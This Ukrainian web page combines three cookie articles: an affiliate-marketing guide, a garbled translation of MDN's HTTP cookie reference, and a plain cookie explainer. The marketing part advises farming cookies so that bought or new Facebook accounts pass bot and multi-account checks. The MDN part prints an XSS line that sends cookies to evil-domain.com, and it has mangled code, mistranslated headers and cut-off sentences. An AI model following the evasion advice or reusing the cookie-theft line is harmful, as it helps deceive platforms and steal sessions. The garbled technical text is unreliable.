Як працює система кукі
Файли cookie: що це і для чого вони потрібні
Практично завжди при відвідуванні чергового сайту, на який ви заходите вперше, перед вами спливає повідомлення, в якому вас запитують про збирання такої штуки, як файли cookie. "Що це, як працює і для чого використовують їх?" — зрештою запитає арбітражник-початківець. Cookie (з англійської буквально перекладаються як «печінки») – це текстові файли з даними, які веб-сайти зберігають на пристрої користувача. Що означає, що такі файли несуть у собі інформацію про попередні відвідування веб-сайту: логін користувача, налаштування відображення сторінки, мову браузера і т.д. буд. Для чого потрібні файли cookie, якщо вірити офіційним джерелам? Для того щоб зробити пошук в інтернеті більш комфортним. За рахунок роботи цих самих «печінок», при вашому повторному заході на вже знайомий вам сайт не потрібно знову вводити логін/пошту та пароль - вони будуть дбайливо збережені на вашому пристрої. Також куки збільшать швидкість відкриття сторінок та зменшать навантаження на сервер. Якщо конкретніше, то тримайте приклади того, чим корисні файли cookie:
Автоматична авторизація
Повторимося - вас позбавляють настирливої необхідності вводити логін/пошту та пароль щоразу при відвідуванні сайту, на якому вам була необхідна реєстрація. Cookies запам'ятовують введені вами дані для входу на сайт і передають їх на сервер. Так що завдяки cookie на потрібний веб-сайт ви зайдете вже авторизованим користувачем.
Індивідуальні налаштування пошукових систем та соцмереж
Завдяки cookie, у налаштуваннях браузерів зберігається ваша локація проживання, мова та інші важливі індивідуальні деталі.Таке збереження позбавляє вас від обов'язки редагувати всі налаштування при кожному новому відкритті Продажі та покупки в мережі Кожен інтернет-магазин застосовує cookie для своїх кошиків: навіть якщо клієнт випадково раптом закриє сайт магазину, вибрані товари зберігатимуться. Є ще один важливий момент, для чого потрібні файли cookie інтернет-магазинам: без них було б неможливо як порівнювати, так і купувати будь-які товари.
Реклама показується лише під ваші інтереси
Є файли куки - немає ніякої недоречної для вас реклами. Коли користувач відвідує будь-яку сторінку, браузер направляє cookie назад на сервер, щоб ви могли отримувати підібраний індивідуально під вас контент.
Файли cookie: формати
- Тимчасові куки - існують тільки в той момент, коли користувач відвідує сайт і йдуть у небуття, коли він закриває браузер.
- Постійні куки - зберігаються на пристрої і після закриття браузера, використовуються для запам'ятовування особистих інтересів користувача і розпізнавання його на сайті при кожному новому відвідуванні.
- Куки сторонніх сайтів - залишаються на пристрої користувача не через безпосередньо відвіданий ним сайт, а через інший, пов'язаний з ним. Такий вид cookie файлів застосовується також для моніторингу активності користувача на декількох веб-сайтах одночасно.
- Безпечні cookie — зашифровані куки, що запобігають нелегальному доступу до даних, що містяться в них.
- HttpOnly cookie – доступ до них може бути лише через протокол HTTP або HTTPS, а це знижує ризик крадіжки даних із вашого пристрою.
- Зомбі cookie – невеликі фрагменти коду, що зберігаються навіть після знищення вихідних файлів cookie. Саме за свою невбивність і отримали таке прізвисько.
Найбільш популярні формати файлів cookie
Найбільш ходових форматів на сьогоднішній день два - Netscape і JSON.
- Netscape розроблявся ексклюзивно під веб-браузером Netscape Navigator. У 2023 році Netscape підтримується переважною більшістю браузерів.
- JSON народився у 2014 році. Його перевага для розробників у тому, що він дозволяє зберігати найскладніші дані. Наприклад, Фейсбук експлуатує саме його для зберігання куки файлів, у зв'язку з цим він найбільш поширений серед арбітражників, що працюють за ФБ. JSON дає можливість збирати файли cookie від облікових записів ФБ (і не тільки ФБ) з метою запуску більш результативної реклами.
Вебам доводиться мати справу з різними форматами файлів cookie паралельно. Якщо у ваших руках є лише формат Netscape або тільки формат JSON, а ситуація вимагає наявності різних форматів, для цих цілей є конвертери файлів cookie.
Як увімкнути файли cookie та як їх вимкнути за необхідності
Для когось питання «як увімкнути файли cookie» та «як вимкнути файли cookie» будуть актуальними: у морі арбітражу періодично свої перешкоди з несподіваними рішеннями для них, тому стане в нагоді.
Так як арбітражники користуються в 99% випадків антидетектами браузерами, то торкнемося саме їх, а точніше двох найбільших з них.
Для того, щоб відключити або (включити, якщо вони були відключені) файли cookie у браузері Octo, потрібно перейти в режим редагування профілю, потім у «Сховище» і вибрати необхідне положення повзунка навпроти рядка «Cookies» (тобто ВКЛ/ВИМК «печінок») ).
Якщо ж вам потрібно завантажити свій файл із кукіс, то робиться це ось тут
У браузері Dolphin ідентичного функціоналу для включення/вимкнення cookie немає.А зробити імпорт/експорт свого файлу з даними можна буде, натиснувши на три точки біля профілю, далі відкриється така картина:
А тепер до того, для чого призначені файли куки в арбітражі і навіщо потрібний їхній фармінг.
Для чого потрібні файли cookie в арбітражі
Наприклад, фармінг куків — робота зі створення великої кількості файлів куки для їх подальшої експлуатації в маркетингових цілях. Арбітражники формують куки, щоб вивудити цінну інформацію про поведінку своїх потенційних покупців у мережі. Це в першу чергу те, для чого потрібні файли cookie в арбітражі.
Що роблять файли cookie для рекламодавців? Допомагають їм визначити, які веб-сайти та сторінки дають найвищу конверсію або в кінцевому рахунку продажу, а далі допомагають використовувати ці дані для оптимізації рекламних кампаній. Також фармінг куки файлів добре підходить для створення ЦА, яка охоче реагуватиме на оффери.
Але є фармінг «печінок» і ще одна вкрай важлива функція. Цей процес дуже потрібен для підвищення трасту алгоритмів соцмереж (насамперед ФБ) та веб-сайтів до будь-яких акаунтів-новорегів. Принцип виявлення простий: якщо ваші куки порожні, то веб-сайт швидше за все запідозрить користувача в мультиаккаунтинг і заблокує його.
ВАЖЛИВО! Якщо вже наприкінці статті ми прийшли безпосередньо до арбітражу та небанального використання куки файлів у ньому, то пропонуємо вам почитати ще й нашу актуальну статтю про ТОП-4 небанальні джерела трафіку для арбітражу, а саме ось її «Де купити трафік для арбітражу? ТОП-4 небанальних джерел»
Ми взяли коментарі з цієї теми у топових арбітражників:
1) Володимир Арбітраж, арбітражник, власник однойменного ТГ каналу "Володимир Арбітраж"
Додати до того, що сказано вище можна лише те, що нагул кук, особливо перед входом у сам профіль ФБ у сучасних реаліях — більша необхідність, ніж ваша забаганка. Якщо взяти в приклад покупний обліковий запис Кінг, то ви помітите, що в комплекті з ним йдуть куки, причому чим довше був фарм, тим більше вони будуть важити. Звичайно, безперечним плюсом, ще до моменту заходу в профіль ФБ, буде навіть не стільки наявність кук у комплекті, скільки, дійсно нагул додаткових, свіжих кук на сайтах, на яких є піксель. Його наявність можна легко перевірити розширенням https://chrome.google.com/webstore/detail/facebook-pixel-helper/fdgfkebogiimcoedlicjlajpkdmockpc?hl=ua
Тому якщо ви купили Кінг аккаунт і хочете працювати з ним довгу, то крім кук від селера, я б порадив відвідати пару десятків сайтів, де є піксель, додати щось у кошик, створити видимість реального покупця. Повірте, ФБ знає більше про вас навіть до моменту заходу в профіль.
Цей інструмент допоможе відкрити кілька вкладок разом:
Звідси можна взяти список сайтів із пікселем:
2) Євген Топорков, засновник агентства Zeon Ads, арбітражник з 2016 року, власник ТГ каналу «Арбітраж із Сокири»
Кукі - один з найважливіших параметрів, за яким ФБ визначає вас, жива ви людина чи ні. Тому вважається дуже важливим нагуляти куки не тільки всередині ФБ, а й на зовнішніх ресурсах, де у ФБ є пікселі.
І якщо ви раптом захочете зайнятися фармом самостійно або плануєте збирати фарм відділ під своїм початком, то не забудьте фармити куки.
3) Тимур Шаріпов, овнер арбітражної команди Avalon, власник ТГ каналу «Тімлід команди»
Куки дуже важливі для фармінгу облікових записів, т.к.якщо ви почнете регати облікові записи без кук, то ФБ може запідозрити, що ви не жива людина, а робот, і такі облікові записи часто вилітають на чекпоінт. Раджу вам перед реєстрацією нових акаунтів пройтися рядом сайтів із встановленим пікселем ФБ, набити куки і тільки потім приступати до створення профілю ФБ. Після створення облікового запису раджу продовжити набивати куки як за межами ФБ, так і всередині свого профілю - це додасть трасту вашому обліковому запису.
Висновок:
Ми обговорили те, що таке куки в принципі і навіщо створені, а також про те, як увімкнути/вимкнути, експортувати та імпортувати файли куки у двох топових антидетект браузерах і про те, що дає фармінг «печінок» в арбітражі. А як очистити куки у звичайному Гугл Хромі знають напевно все, алгоритм простий: 3 точки у правому верхньому кутку - Налаштування - Конфіденційність та безпека - Очистити історію.
Тож цінуєте свої «печінки», працюйте з ними і буде вам нескінченний прибуток!
HTTP-кукі
HTTP cookie (web cookie, cookie браузера) - це невеликий фрагмент даних, який сервер надсилає браузеру користувача. Браузер може зберегти цей фрагмент у себе та відправляти на сервер з кожним наступним запитом. Це, зокрема, дозволяє дізнатися, чи з одного браузера надійшло кілька запитів (наприклад, для автентифікації користувача). За допомогою кук можна зберегти будь-яку інформацію про стан, HTTP-протокол сам собою цього робити не вміє.
Куки часто використовуються для:
- Управління сеансом (логіни, кошики для віртуальних покупок)
- Персоналізації (уподобання користувача)
- Трекінгу (відстеження поведінки користувачів)
Донедавна куки використовувалися як сховища інформації на стороні користувача.Це могло мати сенс без варіантів, але тепер, коли в розпорядженні браузерів з'явилися різні API для зберігання даних, це вже не так. Через те, що куки пересилаються з кожним запитом, вони можуть погіршувати продуктивність (особливо при використанні мобільних мереж). В якості сховищ даних на стороні користувача замість них можна використовувати Web storage API (localStorage та sessionStorage) та IndexedDB.
Примітка: Щоб переглянути збережені куки та інші сховища даних, які використовує веб-сторінку, можна використовувати Storage Inspector (Інспектор сховища) в інструментах розробника.
Створення кукі
Отримавши HTTP-запит, разом із відповіддю сервер може надіслати заголовок Set-Cookie. Куки зазвичай запам'ятовуються браузером і надсилаються в HTTP-заголовку Cookie з кожним новим запитом до одного сервера. Можна задати термін дії кук, а також термін їхнього життя, після якого кукі не вирушатимуть. Також можна вказати обмеження на шлях і домен, тобто вказати, протягом якого часу і до якого сайту вони надсилатимуться.
Заголовки Set-Cookie та Cookie
Заголовок Set-Cookie HTTP-відповіді використовується для надсилання cookie з сервера до клієнтської програми (браузер). Простий куки може задаватися так:
Цей заголовок із сервера дає клієнту вказівку зберегти куки (це роблять, наприклад, PHP, Node.js, Python та Ruby on Rails). Відповідь, що надсилається браузеру, містить заголовок Set-Cookie і куки запам'ятовується браузером.
HTTP/1.0 200 OK Назад-тип: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]
Тепер з кожним новим запитом до сервера за допомогою заголовка Cookie браузер повертатиме серверу всі збережені раніше куки.
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco;
Сесійні cookie
Простий cookie, приклад якого наведений вище, є сесійним cookie (session cookie) - такі cookie видаляються при закритті клієнта, тобто існують тільки протягом поточного сеансу, оскільки атрибути Expires або Max-Age для нього не задаються. ніби браузер ніколи не закривався.
Постійні cookies
Постійні cookie (permanent cookies) видаляються не із закриттям клієнта, а при настанні певної дати (атрибут Expires) або після певного інтервалу часу (атрибут Max-Age).
Set-Cookie: Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Secure ("безпечні") і HttpOnly куки
"Безпечні" (secure) cookie надсилаються на сервер тільки тоді, коли запит відправляється по протоколу SSL і HTTPS. або засобів захисту не забезпечує. Починаючи з Chrome 52 та Firefox 52, незахищені сайти (http:) можуть створювати куки з прапором Secure.
Куки HTTPonly не доступні з JavaScript через властивості Document.cookie API, що допомагає уникнути міжсайтового скриптингу (XSS) Встановлюйте цей прапор для тих кук, до яких не потрібно звертатися через JavaScript. JavaScript вони не потрібні, тому в цьому випадку слід встановлювати прапор HttpOnly .
Set-Cookie: Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Область видимості куки
Директиви Domain і Path визначають область видимості куки, тобто URL-адреси, до яких куки будуть надсилатися.
Атрибут Domain
Атрибут Domain вказує хости, на які надсилаються куки. Якщо він не заданий, то за умовчанням береться доменна частина адреси документа (але без піддоменів).
Наприклад, якщо встановлено Domain=mozilla.org , то куки включені і в піддоменах, наприклад, в developer.mozilla.org .
Атрибут Path
Атрибут Path вказує URL, який повинен бути в запитуваному ресурсі на момент відправки заголовка Cookie .
Якщо заданий Path=/docs , то збігатимуться такі пути:
А ці шляхи збігатися не будуть:
Куки SameSite
Куки відправляються на сервер за будь-яких запитів, навіть якщо запитується статичний ресурс з чужого сервера, тобто якщо відбувається міжсайтовий запит. site.net Щоб обмежити відправку кук тільки тому сайту, якому вони належать, використовують атрибут SameSite.
За допомогою атрибуту SameSite можна вказати, коли і як відправляти куки з міжсайтовими запитами (де сайт визначається комбінацією домену та схеми http: або https: ). : Strict , Lax та None .
З атрибутом Strict кукі будуть надсилатися тільки тому сайту, якому ці куки належать.Атрибут Lax працює схоже, але кукі будуть відправлятися також при навігації на той сайт, якому належать куки. Наприклад, при переході на посилання із зовнішнього сайту. Атрибут None вимикає обмеження на відправлення кук для міжсайтових запитів, але тільки в безпечному контексті (тобто якщо встановлений SameSite=None, тоді також має бути встановлений атрибут Secure). Якщо атрибут SameSite не встановлено, cookie будуть сприйматися як Lax .
Set-Cookie: mykey = myvalue; SameSite=Strict
Примітка: У таблиці сумісності можна знайти інформацію про те, як обробляються атрибути в конкретних версіях браузерів.
Куки з префіксами
Через дизайн механізму кук сервер не може підтвердити, що куки були відправлені із захищеного джерела (secure origin), або бути впевненим у тому, де саме вони були встановлені.
Вразлива програма піддомену може встановити куку з атрибутом Domain , тим самим відкриваючи доступ до неї на всіх інших піддоменах. Цей механізм може експлуатуватися з атакою фіксація сесії.
Примітка: Ознайомтеся зі статтею фіксації сесії, щоб дізнатися про основні методи захисту від цієї атаки.
Тим не менш, відповідно до принципу захисту в глибину ви можете використовувати кукі з префіксами, щоб гарантувати специфічні факти про куки. Доступні два префікси:
Якщо кука містить цей префікс, вона буде встановлена заголовком Set-Cookie тільки в тому випадку, якщо кука міститиме атрибут Secure і якщо запит буде надсилатися із захищеного джерела. Також кука не повинна включати атрибут Domain і містити атрибут Path зі значенням / .
Якщо кука містить цей префікс, вона буде встановлена заголовком Set-Cookie тільки в тому випадку, якщо кука міститиме атрибут Secure і якщо запит буде надсилатися із захищеного джерела. Захист за допомогою цього префікса слабший у порівнянні з префіксом __Host-.
Браузери будуть відхиляти встановлення цих кук, якщо вони не задовольнятимуть всі обмеження. Зауважте, що куки з префіксами, створені в рамках піддомену, обмежуватимуться лише ним або повністю ігноруватимуться. Оскільки бекенд перевіряє лише куки з заздалегідь відомими іменами при авторизації користувача або валідації CSRF-токена, куки з префіксами фактично працюють як захисний механізм від фіксації сесії.
Примітка: Бекенд веб-додатки зобов'язаний звертатися за повним ім'ям куки, включаючи префікс. Користувальницькі агенти не видаляють префікс з імені кук перед їх відправкою в HTTP-заголовку Cookie.
Щоб отримати інформацію про статус підтримки префіксів у різних браузерах, зверніться до статті про Set-Cookie.
Доступ до JavaScript за допомогою Document.cookie
Куки можна створювати за допомогою JavaScript, використовуючи DOM-властивість Document.cookie. Також можна читати cookie з JavaScript, якщо не було встановлено атрибут HttpOnly .
document.cookie="yummy_cookie=choco"; document.cookie="tasty_cookie=strawberry"; console.log(document.cookie); // виведе "yummy_cookie=choco; tasty_cookie=strawberry"
Куки, створені за допомогою JavaScript, не можуть містити атрибуту HttpOnly .
Будь ласка, враховуйте проблеми, про які розповідається нижче в розділі Безпека. Куки, доступні для JavaScript, можуть бути викрадені за допомогою XSS.
Безпека
Примітка: При збереженні інформації в куках майте на увазі, що всі користувачі мають можливість переглядати та змінювати їх значення. Залежно від типу програми ви можете використовувати ім'я, що ні про що не говорить, для ідентифікатора кук, сенс якого буде зрозумілий тільки бекенду. Також ви можете розглянути можливість використання альтернативних механізмів автентифікації та конфіденційності, наприклад, JSON Web Tokens
Способи запобігання атакам, що використовують куки:
- Використовуйте атрибут HttpOnly для запобігання доступу до cookie з JavaScript.
- Куки, які використовуються для зберігання чутливої інформації, такої як аутентифікаційний токен, повинні мати короткий час життя та атрибут SameSite, встановлений у Strict або Lax. Щоб дізнатися більше, дивіться розділ SameSite. У браузерах з підтримкою SameSite це гарантує запобігання надсилання кук аутентифікації з міжсайтовими запитами, фактично такі запити з точки зору бекенда стають неавтентифікованими.
Захоплення сесії (session hijacking) та XSS
Куки часто використовуються у веб-застосунках для ідентифікації автентифікованого користувача та сеансу роботи. Відповідно, викрадення кук із програми може призвести до захоплення авторизованого сеансу користувача. Крадіжка кук часто здійснюється за допомогою соціальної інженерії (Social Engineering) та використання вразливості XSS.
new Image().src = "http://www.evil-domain.com/steal-cookie.php?cookie міжсайтова_підробка_запиту_csrf_-_cross-site_request_forgery">Міжсайтова підробка запиту (CSRF - Cross-site request forgery)
У Wikipedia є добрий приклад CSRF.У повідомлення, наприклад, у чаті або на форумі, включають "зображення", яке, насправді, є запитом до сервера банку на зняття грошей:
html

Якщо ви автентифіковані у своєму банківському обліковому записі, а кукі, як і раніше, дійсні (і ніякої додаткової перевірки не потрібно), то при завантаженні HTML-документу форуму або чату з цим зображенням гроші будуть переведені з вашого рахунку. Для захисту від цього використовується низка методів:
- Як і за XSS, важлива фільтрація вхідної інформації.
- Для будь-якої чутливої операції має запитуватись підтвердження.
- Куки, які використовуються для чутливих операцій, повинні мати короткий термін дії.
- Додаткову інформацію можна отримати в інструкції користувача щодо запобігання CSRF на сайті OWASP.
Трекінг та приватність
Сторонні (Third-party) куки
Куки асоціюються з певним доменом та схемою (такою як http: або https: ). Також вони можуть бути асоційовані з піддоменом за допомогою атрибуту Domain. Якщо домен і схема кук збігаються з доменом і схемою поточної сторінки, де ви знаходитесь, їх називають власними куками (first-party cookies). Якщо домен і схема кук відрізняється від домену і схеми поточної сторінки, такі куки називають сторонніми куками (third-party cookies).
Сервер, що хость сторінку, встановлює власні cookie, але на сторінці можуть знаходитися зображення та інші компоненти з інших доменів (наприклад, банерна реклама), вони в свою чергу можуть встановлювати сторонні cookie. Сторонні куки часто використовуються для реклами та трекінгу користувачів у мережі. Як приклад, можете переглянути куки, які встановлює Google.
Третя сторона, що контролює впровадження сторонніх кук, може створити профіль користувача на основі історії його відвідувань різних сайтів за допомогою кук, що надсилаються тим самим браузером з різних сайтів. Firefox за замовчуванням блокує сторонні куки, про які відомо, що вони використовуються для трекінгу користувачів. Сторонні куки (або просто кукі для трекінгу) можуть бути заблоковані іншими налаштуваннями браузера або розширеннями. Блокування кук у деяких ситуаціях може спричинити некоректну поведінку сторонніх компонентів, наприклад, віджетів соціальних мереж.
Примітка: Бекенд може (і повинен) встановлювати у кук атрибут SameSite для керування відправкою кук на сторонні сервери.
Законодавство, пов'язане з куки
Регулюючі акти та законодавство, що покривають куки, включають:
- General Data Privacy Regulation (GDPR) у Європейському Союзі
- ePrivacy Directive у Європейському Союзі
- California Consumer Privacy Act у Штаті Каліфорнія
Ці акти та директиви діють глобально. Вони застосовуються до всіх сайтів у Всесвітній павутині, до яких користувачі з цих юрисдикцій отримують доступ (Європейський Союз та Каліфорнія, із застереженням, що Каліфорнійський закон застосовується до компаній з доходом понад 25 мільйонів доларів та кількома іншими застереженнями).
Ці акти та директиви включають такі вимоги як:
- Повідомляти користувачам, що сайт використовує куки.
- Давати можливість користувачам відмовлятися від отримання всіх або деяких кук.
- Давати можливість користувачам використовувати основні функції вашого сервісу без отримання кука.
Можуть існувати інші законодавчі акти, які можуть бути застосовані до вашої локальної юрисдикції.На вас лежить відповідальність знати про них і слідувати їм. Існують компанії, які пропонують код з "кукі банером" і беруть на себе турботи про дотримання законодавства, пов'язаного з куками.
Інші способи зберігання інформації у браузері
Інший спосіб для зберігання даних у браузері - Web Storage API. Властивості window.sessionStorage і window.localStorage подібні до сесійних і постійних куків, але дозволяють зберігати більше даних і ніколи не відправляються на сервер. Для зберігання ще більшого обсягу структурованих даних може використовуватися IndexedDB API або бібліотеки, побудовані поверх нього.
Існують техніки для повторного встановлення кук після їх видалення. Такі куки називаються кукі-зомбі. Ці техніки порушують принципи приватності користувачів та контролю користувача і можуть порушувати законодавства, що регулюють приватність даних, відповідно, сайт, що їх використовує, піддається судовому розгляду.
Читайте також
- Set-Cookie
- Cookie
- Document.cookie
- Navigator.cookieEnabled
- SameSite cookies
- Inspecting cookies using the Storage Inspector
- Cookie specification: RFC 6265
- Cookies, GDPR, ePrivacy Directive
- HTTP cookie on Wikipedia
Що таке файли cookie і навіщо вони потрібні
Відповідаємо простими словами на базові питання про куки: що це за файли і навіщо потрібні, чому багато сайтів просять їх прийняти, що буде якщо їх відключити і коли їх потрібно чистити.
З тієї ж серії: Що таке кеш
Що таке кукі
Кукі (англ. cookie - "печінка") - це невеликі текстові файли, які сайти зберігають у нас у браузерах.Інформація в цих файлах допомагає сайтам пригадати відвідувачів при повторному відвідуванні: куди вони клацали, які зміни змінювали.
До кінця незрозуміло, чому цю технологію назвали саме так. Відомо тільки, що ця назва походить від схожого поняття в Unix програмуванні - magic cookie (чарівна печінка). Там невеликий пакет даних, який одна програма передає інший для ідентифікації.
З погляду користувача у цьому пакеті даних передається набір випадкових символів. Але для програми це щось на кшталт ідентифікаційного номера, яким вона розуміє, хто саме до неї звернувся і що робити далі.
Ми вважаємо, що програмісти просто вирішили прикольнутися з такою назвою. Типу нехай програму потрібно буде нагодувати печінкою, щоб вона вас дізналася. Ну чи може це відсилання до печива з пророкуваннями, яке розламуєш, а всередині папірець із загадковим посланням.
Навіщо потрібні куки
Власникам сайтів куки потрібні в основному для просування та реклами. З їх допомогою можна фіксувати дії відвідувачів на сайті, аналізувати ці дані та робити висновки, як краще розвивати сайт.
Наприклад, куки Google Аналітики дозволяють побачити, які сторінки відвідують частіше, які з них генерують більше продажів, скільки часу люди проводять на кожній з них, на які кнопки або посилання натискають, з якого джерела переходять на сайт.
Також куки дають можливість показувати людям рекламу на основі їхніх минулих запитів у пошуку та товарів, які вони дивилися на різних сайтах. Це робить рекламу більш релевантною та допомагає власникам сайтів покращити продажі.
Ще за допомогою кук працюють різні опитування та меню для налаштування сервісів, які складаються з декількох кроків.Без них браузер не міг би запам'ятати, що ви ввели або які варіанти відповіді вибрали на кожному з кроків.
Відвідувачам сайтів куки потрібні для зручності. З їх допомогою сайти запам'ятовують, яку мову чи місто ви вибрали минулого разу, входили в обліковий запис чи ні, що зберегли у вибране або додали до кошика, які спливаючі вікна закрили.
Якщо відхилити кукі при першому відвідуванні сайту або видалити їх, сайт не буде нічого запам'ятовувати і наступного разу відкриє параметри за замовчуванням. Він навіть може знову показати плашку про використання кук.
Види кукі
Куки можна класифікувати за такими критеріями як термін дії, джерело та призначення. Це допоможе краще зрозуміти сценарії їхнього використання.
За терміном дії
Постійні. Такі cookies зберігаються на комп'ютері для повторного використання при наступних відвідуваннях сайту. Вони можуть зберігатися безстроково (поки не видалять) або мати термін придатності. У них може зберігатися інформація про ваші попередні дії на сайті. Наприклад, обрана мова інтерфейсу або тема оформлення, той факт, що ви поставили галочку «Запам'ятати мене» при вході в обліковий запис або галочку «Більше не показувати» при закритті якогось спливаючого вікна.
Сесійні. Такі cookies створюються лише на час однієї сесії та видаляються, коли людина закриває браузер. Їх використовують для зберігання тимчасової інформації, такої як відповіді при проходженні опитувань, фільтри та сортування товарів. Іноді авторизацію на сайті реалізують за допомогою сесійних кук. На таких сайтах вас може розлогінити з облікового запису через якийсь час без активності.
За джерелом
Первинні. Це cookies, які зберігаються на вашому комп'ютері від імені домену сайту, який ви відвідуєте.Їх налаштовує та впроваджує адміністратор конкретного сайту, він же відповідає за те, щоб вони працювали правильно та були безпечними.
Сторонні. Це cookies інших сервісів, які підключають адміністратори сайтів до своїх сайтів. Вони зберігаються на комп'ютері від імені інших доменів. Наприклад, ви зайшли на сайт vashdomen.com, на якому підключено Google Аналітика. Цей сайт передасть вам кукі аналітики, але вони зберігатимуться під доменом google.com.
За призначенням
Потрібні. Ці cookies необхідні для коректної роботи сайту. Якщо від них відмовитись, сайт може частково перестати працювати або взагалі не відкритись. Наприклад такі куки зазвичай відповідають за авторизацію, підтримку безпеки, роботу кошика, обробку платежів, завершення замовлень.
Додаткові. Ці cookies не є критичними для роботи сайту, але можуть зробити досвід його використання кращим. Наприклад, у них можуть зберігатися параметри, які ви вручну змінили під час минулих відвідин (тема, мова або регіон), автозаповнення форм, збереження фільтрів та сортування.
аналітичні. Ці cookies збирають інформацію про взаємодію відвідувачів із сайтом: які сторінки вони відвідували, скільки часу там провели, куди переходили, чи зустрічалися у процесі помилки тощо. Такі куки встановлюють сервіси типу Google Аналітики.
Рекламні. Ці cookies використовуються для відстеження активності користувачів на різних сайтах, щоб потім показувати їм персональну рекламу. Зазвичай це теж куки від Google, оскільки багато хто використовує саме їхні сервіси для показу контекстної реклами.
Яка інформація може передаватися в куках
Практично будь-яка. Залежить від того, що хоче збирати власник сайту. Тож на кожному сайті по-різному. Ось кілька прикладів:
- Налаштування та переваги. Мова інтерфейсу, тема сайту, валюта, регіон, прапори «Більше не показувати» на спливаючих вікнах, налаштування повідомлень.
- Дані авторизації. Ідентифікатор сесії, прапор "Запам'ятати мене" при вході в обліковий запис, прапор "Довіряти цьому пристрою" для двофакторної аутентифікації.
- Особисті дані. Ім'я користувача, номер телефону, адреса доставки, спосіб оплати (без повної інформації картки), стояння заповнення форми.
- Дані щодо дій з товарами. Раніше переглянуті товари, збережені пошукові запити, товари в кошику, товари в обраному, фільтри та сортування.
- Інформація для аналітики Ідентифікатор користувача, джерело переходу на сайт, відвідувані сторінки, час перебування на сторінці, переходи та кліки.
- Інформація про пристрій. Браузер та його версія, роздільна здатність екрану, мова системи, модель пристрою, операційна система, тимчасова зона.
- Дані підтримки безпеки. Параметри захисту від хакерських атак на куки (HttpOnly, Secure, SameSite).
Використовувати куки – не небезпечно?
Загалом, куки – безпечна технологія, але все залежить від того, як їх налаштували. Якщо зробити це неправильно, інформацією в куках можуть заволодіти зловмисники. Ось основні ризики для безпеки, пов'язані з куками:
- Злам сесії. Якщо на сайті використовується HTTP-з'єднання, зловмисники можуть перехопити трафік і прочитати вміст у куках, тому що в цій версії протоколу немає шифрування (дані передаються у відкритому вигляді).
- Міжсайтовий скриптинг (XSS). Якщо сайт вразливий для таких атак, зловмисник може впровадити в нього шкідливий код, який крастиме куки.
- Підробка запитів (CSRF) Це коли зловмисник надсилає підроблений запит від імені користувача на сайті, де він вже авторизований.
- Шкідливе програмне забезпечення на пристрої. Є програми та віруси, які можуть вкрасти куки у сховище браузера або підмінити їх на фальшиві.
Все це може призвести до сумних наслідків. Наприклад, якщо кукі містять токен сесії або інші дані, які дозволяють обійти автентифікацію, зловмисник отримає доступ до чужого облікового запису. Щоб таких ситуацій не відбувалося, рекомендується використовувати поширені практики безпеки, такі як:
- Встановлення сертифіката SSL. Переведе сайт на HTTPS (захищена версія HTTP), який шифрує трафік між відвідувачем та сайтом. Це захистить дані від прочитання або зміни, навіть якщо трафік буде перехоплено.
- Прапор HttpOnly. Параметр всередині cookie, який робить їх недоступними для JavaScript. Запобігає їх крадіжці через міжсайтовий скриптинг (XSS).
- Прапор Secure. Параметр, який гарантує, що куки будуть передаватися лише HTTPs. Запобігає ситуації, коли сайт працює по HTTPs, але кукі можна передати також по HTTP.
- Прапор SameSite. Параметр, який обмежує надсилання куків при міжсайтових запитах. Запобігає підробці запитів (CSRF) та знижує ризики XSS-атак.
- Регулярне оновлення токенів сесії. Оновлення при кожній авторизації або зміні рівня доступу ускладнить використання токенів у разі крадіжки.
- Мінімізація терміну дії кук. Короткий термін дії куків, наприклад, для сесій із підвищеними привілеями, зменшить ймовірність, що зловмисник встигне їх використати.
- Прив'язка сесій до IP-адреси та пристрою. Не дозволить використовувати вкрадений токен сесії на іншому пристрої або з іншої IP-адреси, але може створити проблеми при зміні IP або пристрою.
- Оптимізація даних, що передаються. По можливості, краще передавати якнайменше особистих даних у куках.Краще зберігати їх на сервері, а в куках використовувати ідентифікатори.
З боку відвідувачів, щоб убезпечити свої дані та гроші, рекомендується не залишати особисті дані на підозрілих сайтах та періодично перевіряти свої пристрої на віруси.
Чому сайти повідомляють про куки
Цього вимагає GDPR — Європейський регламент захисту персональних даних. Якщо сайт може використовуватися жителями Євросоюзу, він має попереджати відвідувачів, що використовує куки, і дати їм можливість відмовитися від цього. До речі, подібні закони є не лише у Євросоюзі, а й у США (у Каліфорнії), Канаді, Сінгапурі, Бразилії.
Допустимо, у вас інтернет-магазин в Україні. Якщо в ньому може зробити покупку мешканець ЄС або інших країн із подібним законодавством, ви підпадаєте під його дію, потрібно додати на сайт плашку про використання куки.
За недотримання закону може прийти штраф або сайт може обмежити доступ на території відповідної країни. Зрозуміло, що це малоймовірно, та й хто вас знайде, ви ж у іншому місті. Але загалом, якщо ваша держава підтримує міжнародні зобов'язання щодо захисту даних, штраф можуть і надіслати.
Тим більше, зробити плашку не так уже й клопітно. Плюс деякі люди навіть примудряються зробити це красиво – розміщують на ній якийсь текст із гумором. Якщо у вас сайт WordPress, це все можна зробити за допомогою плагіна.
Якщо так подумати, плашка — це щось подібне до правила гарного тону. Ви попередили відвідувача, що збиратимете його дані, начебто відбувається за його згодою. А не так, що збираєте, але мовчите.
При цьому те ж саме і навпаки. Якщо на сайті немає спливає повідомлення про куки, це ще не означає, що він їх не використовує.Швидше за все, також використовує, просто нікого не попереджає.
Як очистити куки
Зазвичай куки зберігаються у сховище браузера і ви з ними не взаємодієте. Але все одно є кілька причин, коли їх може знадобитися очистити:
- Виправлення помилок. Іноді застарілі або пошкоджені куки можуть викликати проблеми із завантаженням сторінок, особливо при зміні версії сайту або оновленні браузера.
- Визволення місця. Хоча кожна кука окремо займає трохи місця, згодом їх може накопичитись достатньо, щоб займати навіть кілька гігабайт на пристрої. Це може навіть трохи уповільнити роботу браузера.
- Відновлення авторизації. Тож ви зможете завершити сесії на сайтах. Це особливо актуально, якщо ви заходили кудись на чужому комп'ютері або одним браузером користуються відразу кілька людей.
- Скидання налаштувань сайту. Якщо сайт запам'ятовує старі налаштування (наприклад, мову, регіон або інші персональні параметри), очищення cookie дозволить скинути їх та налаштувати заново.
- Вилучення таргетованої реклами. Якщо ви дивилися якісь товари, а потім їх чи щось схоже показують на інших сайтах, а ви цього не хочете, чищення кукіс прибере персональні оголошення. Сама реклама залишиться, просто тимчасово перестане бути персоналізованою.
